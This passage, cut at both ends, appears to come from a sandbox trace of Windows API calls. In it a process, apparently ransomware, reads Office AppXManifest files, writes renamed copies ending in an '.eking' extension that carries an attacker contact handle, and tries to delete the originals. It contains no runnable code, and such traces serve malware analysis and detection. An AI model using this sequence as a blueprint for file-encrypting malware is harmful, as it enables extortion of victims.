office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0249.704] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1533) returned 1 [0249.704] CloseHandle (hObject=0x38c) returned 1 [0249.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0x220 [0249.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0x220 [0249.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0249.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0249.705] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0249.705] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0249.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x374 [0249.727] ReadFile (in: hFile=0x38c, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x5fd, lpOverlapped=0x0) returned 1 [0249.746] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x600, lpOverlapped=0x0) returned 1 [0249.747] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0249.747] CloseHandle (hObject=0x38c) returned 1 [0249.747] CloseHandle (hObject=0x374) returned 1 [0249.748] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0 [0249.748] SetEvent (hEvent=0x2b8) returned 1 [0249.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0249.987] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=800867) returned 1 [0249.987] CloseHandle (hObject=0x374) returned 1 [0249.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0x220 [0249.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0x220 [0249.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0249.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0249.995] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0249.996] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0249.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0249.997] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xc3863, lpOverlapped=0x0) returned 1 [0250.702] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xc3870, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xc3870, lpOverlapped=0x0) returned 1 [0250.820] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0250.820] CloseHandle (hObject=0x374) returned 1 [0250.820] CloseHandle (hObject=0x394) returned 1 [0250.821] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0 [0250.821] SetEvent (hEvent=0x2b8) returned 1 [0250.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0250.824] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=763363) returned 1 [0250.824] CloseHandle (hObject=0x394) returned 1 [0250.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0x220 [0250.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0x220 [0250.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0250.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0250.825] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0250.826] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0250.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x374 [0250.828] ReadFile (in: hFile=0x394, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xba5e3, lpOverlapped=0x0) returned 1 [0250.924] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xba5f0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xba5f0, lpOverlapped=0x0) returned 1 [0251.031] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0251.031] CloseHandle (hObject=0x394) returned 1 [0251.031] CloseHandle (hObject=0x374) returned 1 [0251.032] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0 [0251.033] SetEvent (hEvent=0x2b8) returned 1 [0251.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0251.035] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1261) returned 1 [0251.035] CloseHandle (hObject=0x374) returned 1 [0251.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0251.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0251.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0251.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0251.036] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0251.036] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0251.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0251.037] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4ed, lpOverlapped=0x0) returned 1 [0251.047] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4f0, lpOverlapped=0x0) returned 1 [0251.049] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0251.049] CloseHandle (hObject=0x374) returned 1 [0251.050] CloseHandle (hObject=0x394) returned 1 [0251.050] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0 [0251.050] SetEvent (hEvent=0x2b8) returned 1 [0251.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0251.052] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1261) returned 1 [0251.052] CloseHandle (hObject=0x394) returned 1 [0251.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0x220 [0251.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0x220 [0251.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0251.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0251.053] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0251.053] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0251.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x374 [0251.056] ReadFile (in: hFile=0x394, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4ed, lpOverlapped=0x0) returned 1 [0251.494] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4f0, lpOverlapped=0x0) returned 1 [0251.496] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0251.496] CloseHandle (hObject=0x394) returned 1 [0251.496] CloseHandle (hObject=0x374) returned 1 [0251.497] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0 [0251.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0251.499] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2147) returned 1 [0251.499] CloseHandle (hObject=0x374) returned 1 [0251.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0x220 [0251.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0x220 [0251.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0251.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0251.501] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0251.501] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0251.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0251.502] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x863, lpOverlapped=0x0) returned 1 [0251.621] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x870, lpOverlapped=0x0) returned 1 [0251.623] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0251.623] CloseHandle (hObject=0x374) returned 1 [0251.623] CloseHandle (hObject=0x394) returned 1 [0251.624] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0 [0251.625] SetEvent (hEvent=0x2b8) returned 1 [0251.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.636] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=215883) returned 1 [0251.636] CloseHandle (hObject=0x398) returned 1 [0251.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0x220 [0251.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0x220 [0251.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0251.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.640] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0251.640] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0251.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 